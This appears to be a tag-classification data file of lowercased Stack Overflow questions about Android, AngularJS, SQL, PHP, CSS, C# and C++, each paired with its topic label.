android onclick view v.getid returns -1  consider the code is complete. why does the v.getid() returns -1     i use butter knife to load  and toolbar.getid has value   <pre><code>mainactivity extends actionbaractivity implements  view.onclicklistener{   @injectview(r.id.toolbar) toolbar toolbar;  protected void oncreate(bundle savedinstancestate) {     setcontentview(r.layout.mainlayout);    butterknife.inject(this);    toolbar.setnavigationonclicklistener(this); }  public void onclick(view v) {         log.d( tag   v.getid() +     + toolbar.getid());         if (v.getid() == toolbar.getid()) {          }     } } </code></pre>   i just don t want to use something like this to set onclick on my navigationbuton in toolbar   <pre><code>toolbar.setnavigationonclicklistener(new view.onclicklistener() {         @override         public void onclick(view v) {          }     }); </code></pre>   my xml   <pre><code>&lt;linearlayout xmlns:android= http://schemas.android.com/apk/res/android      xmlns:app= http://schemas.android.com/apk/res-auto      xmlns:tools= http://schemas.android.com/tools      android:layout_width= match_parent      android:layout_height= match_parent      android:orientation= vertical  &gt;      &lt;android.support.v7.widget.toolbar         android:id= @+id/toolbar          android:layout_width= match_parent          android:layout_height= 56dp           app:contentinsetleft= 14dp          app:contentinsetright= 14dp          app:popuptheme= @style/themeoverlay.appcompat.light          app:theme= @style/themeoverlay.appcompat.actionbar &gt;&lt;/android.support.v7.widget.toolbar&gt;   &lt;/linearlayout&gt; </code></pre>,android
what does $scope.$on returns   what does $scope.$on returns   i have seen the usage where $scope.$on returns a function and it is again used inside the $on as listener.   <pre><code> var test = $scope.$on( myevent   function (evt  data) {                test();                $scope.data = true;             }); </code></pre>,angularjs
syntax select in sql  i have 2 tables with data like below : transm transd the tables can see in the below    when i use syntax like below :   <pre><code>select m.kode_project  m.nama_project  m.kode_panel         m.nama_panel d.kode_stater         d.nama_stater1         d.tipe  d.komponen  d.pole  d.amps  d.merek  d.qty         d.istitipan from transm m inner join transd d     on m.kode_project = d.kode_project        and m.kode_panel = d.kode_panel  where (m.kode_project =  17-0002 )    and (m.kode_panel =  a ) </code></pre>   <a href= https://i.stack.imgur.com/u8bav.jpg  rel= nofollow noreferrer >tables and result</a>    what s the wrong in my syntax  pls help me,sql
empty <title> element in html stops html from loading if written as <title />  probably a really dumb question - but in an html document  why does the following:   <pre><code> &lt;title&gt;&lt;/title&gt; </code></pre>   work ok (according to <a href= http://www.w3schools.com/tags/tryit.asp filename=tryhtml_basic  rel= nofollow >http://www.w3schools.com/tags/tryit.asp filename=tryhtml_basic</a>)    but then    <pre><code>&lt;title /&gt; </code></pre>   will stop the html from rendering     thanks,html
"any idea why its not working   <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code> vm.cancel = function () {
         $( #inlinegridpopup ).data( kendowindow ).close();
         return false;
     }</code></pre>
 </div>
 </div>
    <pre><code>vm.cancel = function () { window.jquery***strong text***( #inlinegridpopup ).data( kendowindow ).close(); return false; }  </code></pre>   kendo popup does not closing for me.",angularjs
a module with two dependencies  <br/> i m trying to build up a rest client written in angularjs that uses <strong>$resources</strong> for consuming the rest service and <strong>ng-grid</strong> library for the user interface. by using just the $resource module dependency my code works  however if i introduce also the nggrid dependency it just displays an empty div. i ve little experience with modules but the syntax seems correct....   <pre><code>&lt;link rel= stylesheet  type= text/css  href= ng-grid.css  /&gt; &lt;link rel= stylesheet  type= text/css  href= style.css  /&gt; &lt;script type= text/javascript  src= jquery-1.9.1.js &gt;&lt;/script&gt; &lt;script type= text/javascript  src= angular.js &gt;&lt;/script&gt; &lt;script type= text/javascript  src= ng-grid-2.0.7.min.js &gt;&lt;/script&gt; &lt;script type= text/javascript  src= angular-resource.js &gt;&lt;/script&gt;  &lt;script language= javascript &gt;        angular.module( myapp  [ ngresource ]  [ nggrid ]);             function ctrl($scope $resource) {               var restservice = $resource(                http://host/myapp/json   {                     }  {                query: { method:  get   isarray: true }             }           );               $scope.gridoptions = restservice.query();          };    &lt;/script&gt; &lt;/head&gt;  &lt;body&gt;     &lt;div ng-app= myapp &gt;         &lt;div ng-controller= ctrl &gt;              &lt;div class= gridstyle  ng-grid= gridoptions &gt;&lt;/div&gt;          &lt;/div&gt;     &lt;/div&gt; &lt;/body&gt; </code></pre>   do you see any error in the above code   <br/> thanks!,angularjs
using app domains in c#  i have come to the conclusion that using app domains for my project will be the best way to do it.  i have to load different dll files into my project to use written from different developers.  i have no clue where to start looking  and not entirely sure on how it all works.  i have looked at a few examples  but they do not give me an clear understanding of what to do. what i would like to know is  if i have a dll and load it into a app domain  will i be able to use the public methods within that dll  or how is this app domains used  i would also like someone who can maybe provide me with an tutorial link on how to use this  loading my dll  and accessing/using it.    thanks in advance,.net
how to find function which return any type  i have class with methods. for example   <pre><code>public class foo {     public int method1()     {         return 1;     }      public int method2()     {         return 2;     }      public int method3(int i)     {         return i;     }  } </code></pre>   now i would have function which will find all methods from above class such that are returning int and don t have any parameters.    i think  i can use reflection:   <pre><code>    type type = o.gettype();     methodinfo[] m = type.getmethods(); </code></pre>   but it give me all methods. so how can i get methods with criteria,c#
in rails  how to create a dropdown menu that fills in parameters to a path to navigate to   trying to create a select menu with items from a collection  so that upon selection of an item  and hitting submit  the user is taken to the  show  action for that item...what i have is something like this:   <pre><code>&lt;% form_tag( subjects/#{@subject.id}/state/:id   :method=&gt;:get) do %&gt;   &lt;%= select_tag( state   options_from_collection_for_select(state.states   id    name ))%&gt;   &lt;%= submit_tag  go!  %&gt; &lt;% end %&gt; </code></pre>   what d i like is for what s selected in the menu to fill in the :id parameter...(this is rails 2.3),ruby-on-rails
checking if value in list. returning within or outside loop   i m new to python programming. i d like some guidance as to the reason behind the output. i was just doing some exercise online and came across a problem which i could not understand. the code goes like this:    <pre><code>def dataset(data n):         for value in data:         if n == value:             return true         else:             return false  print(dataset([1 5 8 3]  3)) print(dataset([1 5 8 3] -1)) </code></pre>   the output would be <code>false  false</code> which is the incorrect answer.     after some tinkering  i found out the problem. the correct code is as follows:    <pre><code>def dataset(data n):     for value in data:         if n == value:             return true      return false  print(dataset([1 5 8 3]  3)) print(dataset([1 5 8 3] -1)) </code></pre>   the output is <code>true  false</code> which is the correct answer.     so my question is why the different output with just a different putting of the <code>return false</code>and <code>else: return false</code>,python
sql using results of query to create another table <pre><code>(select childinfo.first childinfo.last count(clubinfo.club) as clubs_per_student from clubinfo left join childinfo on childinfo.child_id=clubinfo.child_id group by concat(studentinfo.first     studentinfo.last) ) </code></pre>   above is the query that i have written to combine the tables childinfo (containing the columns child_id  first name  and last name) and clubinfo (containing columns child_id and club). the above query would produce a table that is something like this:   <pre><code>first     |     last     |     sports_per_child sally     |     jones    |            2 phil      |     jones    |            1 jane      |     doe      |            1 john      |     doe      |            1 </code></pre>   what i am looking to do is use the results of that query to produce a report of the total number of students who are in a particular number of clubs. so  for example  the table above would produce a report that there are 3 students that are in 1 club and 1 student that is in 2 clubs.    any ideas on how to write a query that uses my previously written query as a subquery to accomplish this,mysql
need some design suggestion in c#  i have a log class which uses microsoft enterprise logging. as per my initial design  this was a static class and was using  app.config .     problem came when i have to use this class as part of my class library which will be deployed in gac. since the class libraries don t have an app.config  i have to use my calling application s  app.config . hence i changed from static to normal instantiated class . i followed the approach of configuring the path of my logging config in the application s config file. i got a feedback on how to use this from this thread (<a href= https://stackoverflow.com/questions/4611915/question-regarding-app-config-for-class-library-and-logging >question-regarding-app-config-for-class-library-and-logging</a>    i used this approach and everything worked perfectly fine when i use this logger object in only one class    this is my approach (in nutshell):   <ol> <li>in my main class (ex: class a) i get the value from app.config </li> <li> i initiate the logger class with the constructor getting the path of the configuration file    loghandler = new loghelper(logconfigfilelocation); </li> <li> i use this <code>loghandler</code> in my class <code>class a</code> </li> </ol>   i now stumble across this problem.     i have other classes <code>class b</code> and <code>class c</code> in which i want to use this <code>loghandler</code>. i use the <code>class b</code> and <code>class c</code> in <code>class a</code>     if i do an instance of the loghandler class  i would get a new log file.    how should i define my loghandler class  should i go for a singleton approach     looking forward for some suggestions    cheers      karthik,c#
angular js ng-class shows expression as class instead of processing it  i m trying to make highlighted menu items by using angular js. i ve read <a href= https://stackoverflow.com/questions/16199418/how-do-i-implement-the-bootstrap-navbar-active-class-with-angular-js >this question</a> and tried implementing the anwser  but instead of angular evaluating the expression  it just shows it as the class name. i don t know what s going on.    i have the menu items listed as json  and the iterate trough it with ng-repeat. once the list items are created  i want the angular to add a class of <code> active </code>  if the location url is the same as the <code>link.href</code> attribute of a menu item (it s a json attribute  not the html one).    here s the relevant html:   <pre><code>&lt;div class= header  ng-controller= navbarcontroller &gt;       &lt;ul&gt;          &lt;li ng-repeat= link in menu  ng-class= { active: isactive({{ link.href }}) } &gt;&lt;a ng-href= {{ link.href }} &gt;{{ link.item }}&lt;/a&gt;     &lt;/li&gt;       &lt;/ul&gt;     &lt;/div&gt; </code></pre>   and my controller:   <pre><code>.controller( navbarcontroller   function ($scope  $location) {          // navbar links         $scope.menu = [             {                 item:  ptc-testers                   href:  #/ptc-testers              }              {                 item:  articles                   href:  #/articles              }              {                 item:  ptc sites                   href:  #/sites              }              {                 item:  account reviews                   href:  #/account_reviews              }              {                 item:  forum                   href:  #/forum              }              {                 item:  contact us                   href:  #/contact              }              {                 item:  login                   href:  #/login              }         ]; // end $scope.menu          $scope.isactive = function (viewlocation) {              return viewlocation === $location.path();         };       }); </code></pre>   this is the navbar part of a bigger project  and i tried only inserting the relevant code. if you need further info to understand the question properly  please let me know.,angularjs
how to find address in iphone using latitude and longitude   how to find address in iphone using latitude and longitude,iphone
frequency table with random values  i am trying to write a frequency program that will represent a bar diagram (in console code). the problem is i have no idea how exactly to calculate this frequency or how do i exactly then give the bars different heights according to their frequency (trough calculation).    the frequency height is capped at 21  meaning the bars go from 1 to 21  so the max bar height would be for example 21 stars (* as display sign for the bar itself).      a calculation i have so far (although not sure if correct) for frequency is the following  where this array takes the random values generated:   <pre><code>for (int j = 0; j &lt; t.length; j++) {     t[j] = (maxheight* t[j]) / ber.greatestelement(t);     console.write( {0 7}   t[j]); } </code></pre>   this results in values between 0 and 21. based on the values my bars should give a certain height compared to all the other frequency values. for example  8000 could have 21 in height where 39 could have 1).    to represent this diagram i used 2 <code>for</code> loops to display height and width (keep in mind i only wish to use <code>using system;</code> to keep it to the  basics ).     <pre><code>for (int height= 1; height&lt;= 21; height++) {     for (int width= 0; width&lt;= 10; width++)     {         if(...  )         {             console.write( {0 7}   bar); // string bar= ( * );         }         else         {             console.write( {0 7}   empty);         }     }      console.writeline(); } </code></pre>   so far i have an entire field filled with * and the random values generated along with their frequency value (although i have no idea if the freq value is properly calculated).  i assume i need an <code>if (...)</code> in the second <code>for</code> but i cannot seem to get further than this.,c#
how to use include or require_once on if else statement on php   i have two file <code>if.php</code> and <code>index.php</code>   i want to use <code>if.php</code> to store the if condition form if statement. but it seems not working. is it possible to do it  thank you    <strong>if.php</strong>   <pre><code>&lt; php  if(three == 3) {   //do something }  &gt; </code></pre>   <strong>index.php</strong>   <pre><code>&lt; php  require_once  if.php ; else{   //do something } &gt; </code></pre>   update: beacase i have a lot of index.php(such as index1.php  index2.php index3.php.........................index731.php)    if i need to keep update for  if statement..... first day needto add if(one == 1)   second day  need to add  if(one == 1  two== three)    so if i need to add value in if statement  i need to change a lot of page!!!!!! but finally  i find solution. <br>    <b>if.php</b>   <pre><code>&lt; php     if(three == 3) {         $session_admin =true;      }  &gt; </code></pre>   <b>index.php</b>   <pre><code>&lt; php require_once  if.php ; if($session_admin ==true){ //do something }else{   //do something } &gt; </code></pre>,php
how can i get exactly what .this is pointing to  is there a way to get the exact name of the object that <code>this</code> is referring to and not just <code>object object</code>,javascript
why do appstore distribution provisions have an expiration date   i m a bit confused on how appstore provisions work. the company i work for created our first distribution-certificate on 10-15-2009  and it was set to expire 10-15-2010. our first appstore-distribution-provision was created around 12-22-2009  and was listed as expiring on 10-15-2010. so it seemed to share and be controlled by the certificate it was linked to.    at the time we published  the ambiguity of the terminology was sort of bothering me  but i just put it aside because there was so much work to do.    but every now and then i would wonder to myself  does it mean apps that users purchase off the store can expire with the same message that adhoc apps have when their provisions expire   i wondered if that meant we had to watch that date closely and what was being expected of us.    anyway  now we are about to publish v1.2 of that first app we published back in december 2009. only now it is january 2011  and that original certificate has been replaced with a new one that will expire nov 12  2011. and i am wondering if i have to create a new appstore provision  or do i use the one that was used for builds 1.0 and 1.1  i don t have to create a new appid i hope   i could maybe see if appstore-provisions have to be re-created every 12 months... but appid s  being such a central column of the version tracking system... if those have to be replaced too then i m pretty confused on their function. :)    hopefully somebody can explain why appstore provisions have an expiration date... like i downloaded angry birds from another developer... thats never going to expire is it   so why does its provision have an expiration date,iphone
javascript: please explain what this for loop is doing  learning javascript and have come across something i cant figure out. open devtools and go to your console     <pre><code>countries = [ germany    argentina    brazil    netherlands ];  for (country in countries[1]) {   console.log(country); //or console.log(countries) }; </code></pre>   i predicted it would either<br> a: only run the first index outputting  argentina  or<br> b: start from the 1st index to the end.      instead it runs 9 times  indexing the entire array. why is it running 9 times  and is there a reason this should ever be used or did i just run into something pretty useless,javascript
variable in sql insert  i m new in sql  i would like to know how i can have this code working. because it doesn t understand that <code>$lala</code> and <code>$lolo</code> are variable.   <pre><code>$lolo =  ahha ; $lala =  2 ; $sql =  insert into organisation (id_orga  nom) values  ; $sqll =  ($lala  $lolo) ;  $resultat = $conn-&gt;query($sql.$sqll); </code></pre>   so i tried:    <pre><code>$lolo =  ahha ; $lala =  2 ; $sql =  insert into organisation (id_orga  nom) values  ; $sqll =  ( .$lala.   . $lolo. ) ;  $resultat = $conn-&gt;query($sql.$sqll); </code></pre>   but both code don t <code>insert</code> in my <code>bdd</code> and also give no error.,sql
angular js async two api requests  in angular at the moment i have this:   <pre><code>app.factory( myservice   function($http  $q) {     return {         doboth: function(data) {             return $q.all([$http.post( /search/local   data)  $http.post( /search/shape   data)]);         }     }; }); </code></pre>   and i call it like this:   <pre><code>$scope.$on( localsearch   function(event  data) {     return myservice.doboth(data); }); </code></pre>   however i do not think it is happening asynchronously. they both take quite a time to get fulfilled so i need angular to request both at the same time  so the complete request isn t one + the other - but the quickest time they both get returned in.,angularjs
sql update query of a string field  i have a field  group  with many different string values. i want to change all the rows where this field is  pharmacy  and set the same field to  pharm . i wrote this query   <pre><code>update course set course.group =  pharm  where course.group =  pharmacy  </code></pre>   when i run this query  it executes but nothing change in my db. is there something wrong,sql
ipad/iphone app with fixed background image  i m working on an app and i d really like to have a fixed background image for the duration of the application.  right now i rotate through different viewcontrollers which all have the same image  but i want  the background to remain fixed while the old buttons slide off and the new buttons slide on.  any ideas   much like the home screen of iphone/ipad  i want a  wallpaper  that is fixed while the screens change over the image.,ios
retrieving specific value from the array of textbox with specific array button  i am new here and i trying to make some php page working but failed miserably. i am not very good with logic nor php  so please bear with my stupid question and my messy codes :)    i have array of textboxes with value and there are array of buttons next to it. what i want is each button capture specific value what i typed into the corresponding textbox    here s the piece of my code   <pre><code>&lt; php   $data = mysql_query( select * from tempimg );    while($hasil = mysql_fetch_assoc($data)){        $i++;   echo  &lt;tr&gt;         &lt;td align=center&gt;&lt;input type= checkbox name=check[] value=$hasil[idfoto]&lt;/td&gt;         &lt;td align=center&gt;&lt;img src=$hasil[thumbpath]&gt;&lt;/td&gt;         &lt;td align=center&gt;$hasil[imgname]&lt;/td&gt;         &lt;td align=center&gt;$hasil[thumbpath]&lt;/td&gt;         &lt;td align=center&gt;$hasil[path]&lt;/td&gt;         &lt;td align=center&gt;          &lt;input type=text align=center value=$hasil[imglink] name=link[{$hasil[ idfoto ]}] id=link /&gt;          &lt;td align=center&gt;         &lt;button type=submit onclick=\ return confirm( you clicked button  with id: $hasil[idfoto]  + value:  +(document.getelementbyid( link ).value))\ &gt;         &lt;img src=images/sav.png alt=search-btn id=img /&gt;         &lt;/button&gt;         &lt;/td&gt;         &lt;td align=center&gt;&lt;img src=images/del.png&gt;&lt;/img&gt;&lt;/td&gt; ;       }         &gt; </code></pre>   and here s the link of image for the php page i m talking about    <img src= https://i.stack.imgur.com/ynvdp.jpg  alt= enter image description here >    <img src= https://i.stack.imgur.com/ux7bq.jpg  alt= enter image description here >    so i humbly request of help from people here  please help me.    edit: thanks to mr. barmar i manage to pop out the value of the text box inside the dialog box with the corresponding button      here a new question  how to save the value from the text box that i got from clicking the corresponding button into the database     or more simple  how to capture the value from the text box by using the button next to it and then post it on the screen using  echo,php
the keyword of class and interface at header file in objective-c <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/322597/class-vs-import >@class vs. #import</a>    </blockquote>     i am new to objective-c  i have seen an example look likes:   <pre><code>#import &lt;uikit/uikit.h&gt;  @class mapkitsampleviewcontroller;  @interface mapkitsampleappdelegate : nsobject &lt;uiapplicationdelegate&gt; {     uiwindow *window;     mapkitsampleviewcontroller *viewcontroller; }  @property (nonatomic  retain) iboutlet uiwindow *window;  @property (nonatomic  retain) iboutlet mapkitsampleviewcontroller *viewcontroller;  @end </code></pre>   the above code is stored at  mapkitsampleappdelegate.h  file  i want to ask what is the meaning of line 3  @class mapkitsampleviewcontroller;   can we change it to #import  mapkitsampleviewcontroller.h,objective-c
update multiple rows  how to update multiple rows using id as primary key in a table with a single query       i have collection of id s say 23 25 26  . i have to update todo_deleted column as checked for all the three rows with ids 23 25 26    i need a query which should be very efficient.. post ans if u know.. thanx in advance,sql
how can i delete image of aws s3 bucket from angular side  <pre><code>s3.getsignedurl( putobject   param  function(err  url) {     console.log(url); }); </code></pre>   this method is used to add an image. should i use it to delete the image from angular,angularjs
i can not make auto download for this link in html  please help me for make auto download for this link in html: <a href= http://s9.picofile.com/file/8316425618/mobile_14hadis_0043.jpg  rel= nofollow noreferrer >http://s9.picofile.com/file/8316425618/mobile_14hadis_0043.jpg</a>    i use (download=  ) but when click on link open the pictures in the web page. thanks.,html
css dropdown menu with normal buttons  the problem is that my hovering works on all buttons  but i don t want it like that.  what i want is to have  for example  two buttons which don t need to hover  so they are able to transfer you to another page  and another button which will hover like they are now.    css:   <pre><code>#wrapper {     width:173px;      margin: 0 3px 0 0;     display: inline-block; /*  width: 220px;     margin: 100px auto;     font-size: 0.8125em;*/ } .menu {     width: auto;     height: auto;     -webkit-box-shadow: 0px 1px 3px 0px rgba(0 0 0 .73)  0px 0px 18px 0px rgba(0 0 0 .13);     -moz-box-shadow: 0px 1px 3px 0px rgba(0 0 0 .73)  0px 0px 18px 0px rgba(0 0 0 .13);     box-shadow: 0px 1px 3px 0px rgba(0 0 0 .73)  0px 0px 18px 0px rgba(0 0 0 .13); } .menu &gt; li &gt; a {     background-color: #616975;     background-image: -webkit-gradient(linear  left top  left bottom  from(rgb(114  122  134)) to(rgb(80  88  100)));     background-image: -webkit-linear-gradient(top  rgb(114  122  134)  rgb(80  88  100));     background-image: -moz-linear-gradient(top  rgb(114  122  134)  rgb(80  88  100));     background-image: -o-linear-gradient(top  rgb(114  122  134)  rgb(80  88  100));     background-image: -ms-linear-gradient(top  rgb(114  122  134)  rgb(80  88  100));     background-image: linear-gradient(top  rgb(114  122  134)  rgb(80  88  100));     filter: progid:dximagetransform.microsoft.gradient(gradienttype=0 startcolorstr= #727a86   endcolorstr= #505864 );     border-bottom: 1px solid #33373d;     -webkit-box-shadow: inset 0px 1px 0px 0px #878e98;     -moz-box-shadow: inset 0px 1px 0px 0px #878e98;     box-shadow: inset 0px 1px 0px 0px #878e98;     width: 100%;     height: 2.75em;     line-height: 2.75em;     display: block;     position: relative;     font-weight: 600;     color: #fff;     text-shadow: 0px 1px 0px rgba(0 0 0 .5); } .menu ul li a {     background: #fff;     border-bottom: 1px solid #efeff0;     width: 100%;     height: 2.75em;     line-height: 2.75em;     display: block;     position: relative;     font-size: 0.923em;     font-weight: 400;     color: #878d95; } .menu ul li:last-child a {     border-bottom: 1px solid #33373d; } .menu &gt; li hr &gt; a:hover   .menu &gt; li &gt; a.active {     background-color: #35afe3;     background-image: -webkit-gradient(linear  left top  left bottom  from(rgb(69  199  235)) to(rgb(38  152  219)));     background-image: -webkit-linear-gradient(top  rgb(69  199  235)  rgb(38  152  219));     background-image: -moz-linear-gradient(top  rgb(69  199  235)  rgb(38  152  219));     background-image: -o-linear-gradient(top  rgb(69  199  235)  rgb(38  152  219));     background-image: -ms-linear-gradient(top  rgb(69  199  235)  rgb(38  152  219));     background-image: linear-gradient(top  rgb(69  199  235)  rgb(38  152  219));     filter: progid:dximagetransform.microsoft.gradient(gradienttype=0 startcolorstr= #45c7eb   endcolorstr= #2698db );     border-bottom: 1px solid #103c56;     -webkit-box-shadow: inset 0px 1px 0px 0px #6ad2ef;     -moz-box-shadow: inset 0px 1px 0px 0px #6ad2ef;     box-shadow: inset 0px 1px 0px 0px #6ad2ef; } .menu &gt; li &gt; a.active {     border-bottom: 1px solid #1a638f; } .menu &gt; li &gt; a:before {     content:   ;     background-image: url(../images/sprite.png);     background-repeat: no-repeat;     font-size: 36px;     height: 1em;     width: 1em;     position: absolute;     left: 0;     top: 50%;     margin: -.5em 0 0 0; } .item1 &gt; a:before {     background-position: 0 0; } .item2 &gt; a:before {     background-position: -38px 0; } .item3 &gt; a:before {     background-position: 0 -38px; } .item4 &gt; a:before {     background-position: -38px -38px; } .item5 &gt; a:before {     background-position: -76px 0; } .item6 &gt; a:before {     background-position: -76px -76px; } .item7 &gt; a:before {     background-position: -114px 0; } .item8 &gt; a:before {     background-position: -114px -114px; } .item9 &gt; a:before {     background-position: -152px 0; } .item10 &gt; a:before {     background-position: -152px -152px; } .item11 &gt; a:before {     background-position: -190px 0; } .item12 &gt; a:before {     background-position: -190px -190px; } .menu &gt; li &gt; a span {     font-size: 0.857em;      display: inline-block;     position: absolute;     right: 1em;     top: 50%;      background: #48515c;     line-height: 1em;     height: 1em;     padding: .4em .6em;     margin: -.8em 0 0 0;      color: #fff;     text-indent: 0;     text-align: center;     -webkit-border-radius: .769em;     -moz-border-radius: .769em;     border-radius: .769em;     -webkit-box-shadow: inset 0px 1px 3px 0px rgba(0  0  0  .26)  0px 1px 0px 0px rgba(255  255  255  .15);     -moz-box-shadow: inset 0px 1px 3px 0px rgba(0  0  0  .26)  0px 1px 0px 0px rgba(255  255  255  .15);     box-shadow: inset 0px 1px 3px 0px rgba(0  0  0  .26)  0px 1px 0px 0px rgba(255  255  255  .15);     text-shadow: 0px 1px 0px rgba(0 0 0 .5);     font-weight: 500; } .menu &gt; li &gt; a:hover span  .menu &gt; li a.active span {     background: #2173a1; } .menu &gt; li &gt; ul li a:before{     content:    ;     font-size: 8px;     color: #bcbcbf;     position: absolute;     width: 1em;     height: 1em;     top: 0;     left: -2.7em; }  .menu &gt; li &gt; ul li:hover a  .menu &gt; li &gt; ul li:hover a span  .menu &gt; li &gt; ul li:hover a:before {     color: #32373d; }  .menu ul &gt; li &gt; a span {     font-size: 0.857em;      display: inline-block;     position: absolute;     right: 1em;     top: 50%; /     background: #fff;     border: 1px solid #d0d0d3;     line-height: 1em;     height: 1em;     padding: .4em .7em;     margin: -.9em 0 0 0;      color: #878d95;     text-indent: 0;     text-align: center;     -webkit-border-radius: .769em;     -moz-border-radius: 769em;     border-radius: 769em;     text-shadow: 0px 0px 0px rgba(255 255 255 .01)); } </code></pre>   html:   <pre><code>        &lt;div id= wrapper &gt;             &lt;ul class= menu &gt;                 &lt;li class= item1 &gt;&lt;a href=  page=overview &gt;{$lm_overview} &lt;/a&gt;                     &lt;/li&gt;                 &lt;ul&gt;                 &lt;li class= item2 &gt;&lt;a href=  page=chat &gt;{$lm_chat} &lt;span&gt;{$chatusers}&lt;/span&gt;&lt;/a&gt;                     &lt;/li&gt;                 &lt;/ul&gt;                 &lt;li class= item3 &gt;&lt;a href= # &gt;{$lm_research} &lt;/a&gt;                     &lt;ul&gt;                         &lt;li class= subitem1 &gt;&lt;a href= # &gt;cute kittens &lt;/a&gt;&lt;/li&gt;                         &lt;li class= subitem2 &gt;&lt;a href= # &gt;strange  stuff  &lt;/a&gt;&lt;/li&gt;                         &lt;li class= subitem3 &gt;&lt;a href= # &gt;automatic fails &lt;/a&gt;&lt;/li&gt;                     &lt;/ul&gt;                 &lt;/li&gt;     &lt;/ul&gt;     &lt;/div&gt; &lt;script type= text/javascript &gt;     $(function() {          var menu_ul = $( .menu &gt; li &gt; ul )                 menu_a  = $( .menu &gt; li &gt; a );          menu_ul.hide();          menu_a.click(function(e) {             e.preventdefault();             if(!$(this).hasclass( active )) {                 menu_a.removeclass( active );                 menu_ul.filter( :visible ).slideup( normal );                 $(this).addclass( active ).next().stop(true true).slidedown( normal );             } else {                 $(this).removeclass( active );                 $(this).next().stop(true true).slideup( normal );             }         });      }); &lt;/script&gt; </code></pre>   <a href= http://oi45.tinypic.com/2civ7p.jpg  rel= nofollow >image link</a>    the <em>overview</em> button and the <em>chat</em> button should be normal buttons with a design like the others but they shouldn t hover  and also they should immediately transfer you to another page.  the other buttons work as i want them to.  and my problem is that when i click on the <em>overview</em> button it wont transfer me anywhere  because it still makes it to hover when i click on it.,css
update method not updating table using rails 4  i am having difficulty translating the headfirst into rails book which is based on rails 2 into rails 4 which is set up on my machine. the exercise is trying to retrieve a record from a database and then  once edited  update the table. i have tried many different ways and my current configuration is as follows - this will present the record for editing but will not actually update the record! (infuriating!) nb - i am not using  strong_parameters  nor  protected_attributes  - i did try this but was getting stack to deep and other errors. my ad model is also empty - i have removed the att_accessible entries that i tried with the protected attributes gem.    here is my - ad controller entry:   <pre><code>def update     @ad = ad.find(params[:id])     @ad.update_attributes(update_params[:id])     redirect_to  /ads/#{@ad.id}  end   private def update_params     params.permit(:name  :description  :price  :seller_id  :email  :ad  :img_url) end  end </code></pre>   edit view:   <pre><code>&lt;h1&gt;editing &lt;%= @ad.name %&gt;&lt;/h1&gt; &lt;%= form_for(@ad :url=&gt;{:action=&gt; update }) do |f| %&gt; &lt;p&gt;&lt;b&gt;name&lt;/b&gt;&lt;br /&gt;&lt;%= f.text_field :name %&gt;&lt;/p&gt; &lt;p&gt;&lt;b&gt;description&lt;/b&gt;&lt;br /&gt;&lt;%= f.text_area :description %&gt;&lt;/p&gt; &lt;p&gt;&lt;b&gt;price&lt;/b&gt;&lt;br /&gt;&lt;%= f.text_field :price %&gt;&lt;/p&gt; &lt;p&gt;&lt;b&gt;seller&lt;/b&gt;&lt;br /&gt;&lt;%= f.text_field :seller_id %&gt;&lt;/p&gt; &lt;p&gt;&lt;b&gt;email&lt;/b&gt;&lt;br /&gt;&lt;%= f.text_field :email %&gt;&lt;/p&gt; &lt;p&gt;&lt;b&gt;img url&lt;/b&gt;&lt;br /&gt;&lt;%= f.text_field :img_url %&gt;&lt;/p&gt; &lt;p&gt;&lt;%= f.submit  update  %&gt;&lt;/p&gt; &lt;% end %&gt; </code></pre>   log entry on update:   <pre><code>   started patch  /ads/1/update  for 127.0.0.1 at 2013-08-13 22:35:51 +0100     processing by adscontroller#update as html       parameters: { utf8 =&gt; v    authenticity_token =&gt; o4cn72fxcckfkl7m6bozodbb0aqor     nctoov5sfxdado=    ad =&gt;{ name =&gt; typewriter    description =&gt; old manual typewr     iter. many years useful service. works best with a bottle next to it.    price =  &gt; 71.95    seller_id =&gt; 54    email =&gt; dhammett@email.com1    img_url =&gt; http:// homepage.mac.com/david_griffiths/typewriter.png }   commit =&gt; update    id =&gt; 1  }   ←[1m←[35mad load (1.0ms)←[0m  select  ads .* from  ads  where  ads . id  =   l imit 1  [[ id    1 ]] unpermitted parameters: utf8  _method  authenticity_token  ad  commit  id   ←[1m←[36m (0.0ms)←[0m  ←[1mbegin transaction←[0m   ←[1m←[35m (0.0ms)←[0m  commit transaction redirected to http://localhost:3000/ads/1 completed 302 found in 54ms (activerecord: 1.0ms) </code></pre>,ruby-on-rails
how to use $$hashkey in my app   how to use $$hashkey in app. the situation is next: i make a call to server to receive array of objects  than i pass the array to ng-repeat:   <pre><code> function listworkitems(data) {         if (data.ok) {             vm.workitems = data.content.items;          }     } </code></pre>   than every second i make a call to server and want to check if received array (data.content.items) differ from listed in dom (vm.workitems);    to check it i use:   <pre><code>for(var i=0; i&lt;data.content.items.length; i++) {                    if(json.stringify(data.content.items[i]) !== json.stringify(vm.workitems[i])) {                        vm.workitems[i] = data.content.items[i];                    }  } </code></pre>   but i always receuiev not equal  because in vm.workitems there is $$hashkey. what to do,angularjs
how do i check if something is written infront of some char  i have a program which  translates  the dns to a ip-adress and i want to check if something is infront of a  .  for  examlpe the user gives: <strong>google.com</strong> then i want to check if something is written infront of the  .  so the user can t make any program errors.    i have already a methode to check if there is a  .  in the text   <pre><code>if(input.text.contains( . )) {     //codeblock } </code></pre>,c#
align inline element to the right  how to align two text elements  one to the left and the other to the right  also on the same line. i m aware it can be done using floats but i would like a float less solution. i m looking for a way to do it using <code>display:inline</code>.    html:   <pre><code>&lt;div class= contailner &gt;     &lt;div class= inlineleft &gt;item 1&lt;/div&gt;     &lt;div class= inlineright &gt;item 2&lt;/div&gt; &lt;/div&gt; </code></pre>   css:   <pre><code>.container {     width: 600px;     border: 1px solid blue; }  .inlineleft  .inlineright {     display: inline; }  .inlineright {     ...align right...    } </code></pre>,css
how to access private data members of a class in c++  following code is showing two error in my  struct node* createnode  function line 30 and 31. the errors are  temp  was not declared and invalid use of incomplete type  struct node . how to solve this problem       <pre><code>#include &lt;iostream&gt; using namespace std; class myclass{ private:     struct node{         int data;         struct node *next;     };     struct node *head  *last  *temp; public:     myclass();     bool isempty();     struct node *createnode();     void insertelement();     void deleteelement();     void displaylist(); }; myclass::myclass(){     head=null;     last=null;     temp=null; } bool myclass::isempty(){     if(head==null)return true;     return false; } struct node *createnode(){     temp = new node;     return temp; }; int main() {     return 0; } </code></pre>,c++
